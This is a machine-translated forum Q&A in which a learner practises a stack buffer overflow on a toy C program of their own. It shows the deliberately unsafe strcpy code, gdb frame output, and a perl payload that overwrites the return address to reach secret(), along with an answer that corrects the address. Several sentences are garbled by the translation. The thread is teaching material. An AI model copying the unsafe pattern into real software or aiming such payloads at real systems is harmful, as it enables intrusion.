我了解利用经典的基于堆栈的缓冲区溢出的原理,现在我想练习一下。因此,我编写了以下测试应用程序:

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void public(char *args) {
    char buff[12];
    memset(buff, 'B', sizeof(buff));

    strcpy(buff, args);
    printf("\nbuff: [%s] (%p)(%d)\n\n", &buff, buff, sizeof(buff));
}

void secret(void) {
    printf("SECRET\n");
    exit(0);
}

int main(int argc, char *argv[]) {
    int uid;
    uid = getuid();

    // Only when the user is root
    if (uid == 0)
        secret();

    if (argc > 1) {
        public(argv[1]);
    }
    else
        printf("Kein Argument!\n");
}


当启动程序的用户是root时,将调用secret()方法,否则,将在public(...)方法
我正在使用debian-gnome x64,所以我必须将其专门编译为x86才能获得x86汇编(我比x64更好)。
我用gcc编译了程序:gcc ret.c -o ret -m32 -g -fno-stack-protector


目标:
我想以root用户身份调用方法secret()。 {为此,我必须用函数R的地址覆盖I eturn P指令RIP ointer(secret())}漏洞:
方法public(...)使用将不安全的strcpy()方法插入到char-array抛光机中。因此,当用户使用arg> 11启动程序时,有可能覆盖堆栈上的数据。其中arg应该是字符串arg的长度。

必填信息:


函数secret()的地址。
第一个缓冲区的第一个元素的地址。由于ASCII -Encoding,我知道每个char的大小均为1 byte,因此缓冲区的最后一个元素是第一个元素前面的12 bytes。 br />可选:它还有助于了解RIP的地址secret() rame S ointer(F)。方法

方法上的方法:进入PSFP
要全面了解gdb方法的整个堆栈框架,我必须在其中设置一个断点,gdb -q ret从此处开始。这是在public(...)行的括号function-epilogue处。在断点处,我现在要查看堆栈框架。

(gdb) info frame 0
Stack frame at 0xffffd2f0:
 eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c
 called by frame at 0xffffd330
 source language c.
 Arglist at 0xffffd2e8, args: args=0xffffd575 "A"
 Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
 Saved registers:
  ebp at 0xffffd2e8, eip at 0xffffd2ec


因此,我可以收集以下信息:


}位于11并包含地址run A,其中包含指令RIP
0xffffd2ec位于0x804858c。开始:

(gdb)打印密码
$ 2 = {void(void)} 0x804852f




最后,但并非最不重要的是,我得到了缓冲区的地址:

(gdb) print/x &buff
 = 0xffffd2d4



总结起来: > 0x804858c <main+61>: add SFPx10,%esp位于0xffffd2e8

secret()位于RIP

0xffffd2ec位于SFP我将必须使用0xffffd2e8-buff + 0xffffd2d4 = 0xffffd2ec(= 0xffffd2d4 s)运行程序。而la st 0x04包含函数28 bytes的地址(并注意小尾数的顺序):

(gdb) run `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`

buff: [AAAAAAAAAAAAAAAAAAAAAAAA�d2
                                  f
                                   f] (0xffffd2b4)(12)


Program received signal SIGSEGV, Segmentation fault.
0x0c3264ec in ?? ()


出现两个问题: />
为什么不起作用。这个例子基本上是我正在阅读的一本旧书。但是从理论上讲它应该起作用,所以我认为....
为什么在char28 bytes之间存在4 bytes的差距?

编辑:这是二进制文件的下载链接。

评论

如果您可以提供指向二进制文件的链接,则会有所帮助。

谢谢你想帮助我!那是到二进制文件的链接。

#1 楼



为什么不起作用。这个例子基本上是我正在阅读的一本旧书。但是从理论上讲它应该起作用,所以我认为....



这是因为您正在用0xffffd2ec而不是0x0804852f覆盖堆栈上的返回地址(后者是secret()的地址)。

如果您改用'{print "A"x24; print "\x2f"; }',它应该可以工作。



为什么在buffSFP之间存在8-byte间隙?该内存区域包含什么?




该差距可能是由于gcc尝试进行了优化。内存区域不包含任何内容(从技术上讲,它包含8个字节,其值是不确定的),并且public()函数中的代码既不读取也不写入该内存区域。

评论


谢谢!没错,我没有用secret()的地址覆盖RIP。但是您忘记了反转字节顺序(这是小尾数)。

– JDoens
2015年10月4日在20:24

接得好;只是固定字节顺序。

–詹森·格夫纳(Jason Geffner)
15年10月4日在21:03